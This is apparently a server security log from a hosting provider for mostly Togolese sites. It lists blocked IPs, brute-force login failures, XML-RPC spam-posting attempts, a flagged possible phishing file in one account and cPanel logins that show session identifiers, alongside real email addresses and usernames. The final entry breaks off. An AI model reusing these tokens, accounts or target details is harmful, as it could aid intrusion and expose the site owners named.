47.128.96.166 - - [12/Jun/2026:05:26:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10052458&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feducation%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781242013 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/education/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.166


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:26:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-12 05:27:44 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:53275: 535 Incorrect authentication data (set_id=test002)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 12 05:27:42 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 170.106.110.108
country_id: 6252001
domain: www.hotel-yabisso.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.159 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 89.218.250.130
country_id: 1522867
description:
2026-06-12 05:30:08 H=([89.218.250.130]) [89.218.250.130]:64549 F=<dba.moyenmono@ceni.tg> rejected RCPT <dba.moyenmono@ceni.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.238.247.238
country_id: 3469034
description:
Jun 12 05:30:46 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.238.247.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.238.247.238
country_id: 3469034
description:
2026-06-12 05:30:48 dovecot_login authenticator failed for H=(13.15.190.94.interra.ru) [186.238.247.238]:40009: 535 Incorrect authentication data (set_id=api@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 12 05:34:17 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:33:33 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:37:04 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:05:42:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856668&pdata=http%253A%252F%252Fwww.hofbrau.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781242970 HTTP/1.1" 302 0 www.hofbrau.snb.tg "http://www.hofbrau.snb.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.47
country_id: 6252001
description:
205.169.39.47 - - [12/Jun/2026:05:42:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7063709&pdata=http%253A%252F%252Fwww.hofbrau.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781242970 HTTP/1.1" 302 0 www.hofbrau.snb.tg "http://www.hofbrau.snb.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.47


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [12/Jun/2026:05:42:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9593196&pdata=http%253A%252F%252Fwww.hofbrau.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781242977 HTTP/1.1" 302 0 www.hofbrau.snb.tg "http://www.hofbrau.snb.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 130.254.112.74
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:130.254.112.74||TA:130.254.112.74||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:43:39 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.68
country_id: 298795
description:
Jun 12 05:45:34 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.68 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.204
country_id: 1880251
description:
47.128.96.204 - - [12/Jun/2026:05:46:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7301737&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fong-adra%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781243187 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ong-adra/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.204


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.148.10.26
country_id: 2750405
description:
Jun 12 05:50:47 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.148.10.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.148.10.26
country_id: 2750405
description:
2026-06-12 05:50:49 dovecot_login authenticator failed for H=(WIN-JKGVN7T4E72) [45.148.10.26]:57707: 535 Incorrect authentication data (set_id=seee)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.255.62.89
country_id: 6252001
description:
Jun 12 05:51:46 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.255.62.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 118.194.230.61
country_id: 1861060
domain: ceni.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/in/out/qkssbq/jason.lee@henkel.com||User:root||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.217.84.170
country_id: 272103
description:
185.217.84.170 - - [12/Jun/2026:05:55:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001048&pdata=https%253A%252F%252Ftogodailynews.tg%252Fla-bad-approuve-une-ligne-de-credit-de-50-millions-de-dollars-et-de-50-millions-deuros-en-faveur-de-la-bidc%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781243705 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/la-bad-approuve-une-ligne-de-credit-de-50-millions-de-dollars-et-de-50-millions-deuros-en-faveur-de-la-bidc/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.8527.1335 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.217.84.170


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:55:08 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 05:56:02 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.105.5
country_id: 798544
description:
Jun 12 05:56:24 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.105.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.32
country_id: 3469034
description:
Jun 12 05:58:54 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.32 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.117.63.156
country_id: 1210997
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:05-58.45.117.63.156||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 216.189.152.23
country_id: 6252001
domain: fundacionesperanzatogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mgvybwur/public_html/.788482313936954.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.154
country_id: 2635167
description:
[2026-06-12 05:58:29 +0000] info [cpaneld] 5.230.153.154 NEW mgvybwur:pKGk97QIAhxkb5TG address=5.230.153.154,app=cpaneld,creator=mgvybwur,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.8.54
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:06-01.65.111.8.54||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:04:24 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.92
country_id: 1880251
description:
47.128.121.92 - - [12/Jun/2026:06:04:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13277084&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdeveloppement-economique-la-transformation-locale-change-de-dimension%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781244267 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/developpement-economique-la-transformation-locale-change-de-dimension/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.92


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.242.71.227
country_id: 1562822
description:
[2026-06-12 06:05:42 +0000] info [webmaild] 14.242.71.227 - stephane@sitewebofficiel.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.5
country_id: 6252001
description:
205.169.39.5 - - [12/Jun/2026:06:07:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803417&pdata=http%253A%252F%252Fmisstogo.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781244438 HTTP/1.1" 302 0 misstogo.tg "http://misstogo.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.5


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:11:18 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [12/Jun/2026:06:10:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6515564&pdata=http%253A%252F%252Fbelali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781244630 HTTP/1.1" 302 0 belali.tg "http://belali.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [12/Jun/2026:06:10:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6605416&pdata=http%253A%252F%252Fwww.belali.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781244627 HTTP/1.1" 302 0 www.belali.tg "http://www.belali.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 66.146.235.226
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:66.146.235.226||TA:66.146.235.226||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:11:28 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.249.91.94
country_id: 248816
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2020/08/t\xc3\xa9l\xc3\xa9chargement-3.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.229.5.248
country_id: 3175395
description:
Jun 12 06:12:54 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.229.5.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.229.5.248
country_id: 3175395
description:
2026-06-12 06:12:56 dovecot_plain authenticator failed for H=host-95-229-5-248.business.telecomitalia.it (liatier) [95.229.5.248]:45702: 535 Incorrect authentication data (set_id=admin@togointerim.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.96.80.75
country_id: 798549
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/djama-en-fete-baguida-1 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:16:46 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 60.48.208.11
country_id: 1733045
domain: direct7.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Votre IP (60.48.208.11) a \xc3\xa9t\xc3\xa9 signal\xc3\xa9e pour de potentielles violations de s\xc3\xa9curit\xc3\xa9.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.148.10.25
country_id: 2750405
description:
Jun 12 06:18:33 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.148.10.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.148.10.25
country_id: 2750405
description:
2026-06-12 06:18:35 dovecot_login authenticator failed for H=(WIN-JKGVN7T4E72) [45.148.10.25]:51841: 535 Incorrect authentication data (set_id=seee)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 60.48.208.11
country_id: 1733045
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:052fe9b9dd35515ad011eb5e97c1093de350df5e||Title:fa84anerdets232o||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 60.48.208.11
country_id: 1733045
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4ff991ddeef9a19612e426a7a581c5901ae1396b||Title:mghzgdad9v8f7e47||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.180.112
country_id: 1880251
description:
Jun 12 06:20:37 ns5 pure-ftpd[1330749]: (?@47.84.180.112) [WARNING] Authentication failed for user [mail.dany2.mairie.tg]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 170.83.180.238
country_id: 3469034
description:
170.83.180.238 - - [12/Jun/2026:06:20:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790362&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Felection-presidentielle-au-burundi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781245253 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/election-presidentielle-au-burundi/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.5169.1472 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.83.180.238


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 60.48.208.11
country_id: 1733045
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4705db34cc0eb9d3c8066f0e3d6bd9e5c1cfeeed||Title:ljetis5mprf948kg51||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.255.137.220
country_id: 1814991
description:
Jun 12 06:21:28 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.255.137.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.255.137.220
country_id: 1814991
description:
2026-06-12 06:21:30 dovecot_plain authenticator failed for H=(gwsnatsw9g5rnp0i171bu8btv65) [116.255.137.220]:1980: 535 Incorrect authentication data (set_id=rappels@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:22:41 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.181
country_id: 1880251
description:
47.128.96.181 - - [12/Jun/2026:06:24:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6984553&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbac-2020%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781245444 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bac-2020/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.181


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.216.217
country_id: 2363686
description:
[2026-06-12 06:24:01 +0000] info [webmaild] 102.64.216.217 - communication@butodra.tg  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid user name specified


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.190.135.5
country_id: 1168579
domain: hotelyabisso.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:15060.hotelyabisso.com||ServerName:hotelyabisso.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:498c660e44a081ec264d8ee59c22886dc3ca4105||Title:0x807df730||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 78.135.61.227
country_id: 298795
description:
[2026-06-12 06:24:18 +0000] info [cpaneld] 78.135.61.227 NEW sadis:XedKnSg44puVHepd address=78.135.61.227,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.216.217
country_id: 2363686
description:
[2026-06-12 06:24:20 +0000] info [webmaild] 102.64.216.217 - communication@butodra.tg  "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 06:26:07 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 32.196.198.163
country_id: 6252001
domain: consult.sodigaz.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.216.217
country_id: 2363686
description:
[2026-06-12 06:25:29 +0000] info [webmaild] 102.64.216.217 - communication@butodra.tg "GET /webmail HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.131.51
country_id: 690791
description:
Jun 12 06:27:28 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.131.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:31:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:48844: 535 Incorrect authentication data (set_id=9124194124@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.172
country_id: 6252001
domain: expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/expertsdefense.com/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.134
country_id: 6252001
domain: www.expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.expertsdefense.com/robots.txt HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.157
country_id: 6252001
domain: expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/expertsdefense.com/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.155
country_id: 6252001
domain: expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/expertsdefense.com/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.173
country_id: 6252001
domain: www.expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.expertsdefense.com/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.159
country_id: 6252001
domain: expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/expertsdefense.com/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.17
country_id: 6252001
domain: www.expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.expertsdefense.com/sitemap.xml.gz HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.169
country_id: 6252001
domain: www.expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.expertsdefense.com/sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.164
country_id: 6252001
domain: expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/expertsdefense.com/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.171
country_id: 6252001
domain: www.expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.expertsdefense.com/sitemap_index.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 06:34:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:9432: 535 Incorrect authentication data (set_id=9124194124@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.172
country_id: 6252001
domain: www.expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.expertsdefense.com/wp-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.32.166
country_id: 6252001
domain: expertsdefense.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/expertsdefense.com/news-sitemap.xml HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.141.212
country_id: 2963597
description:
Jun 12 06:38:54 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.141.212 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
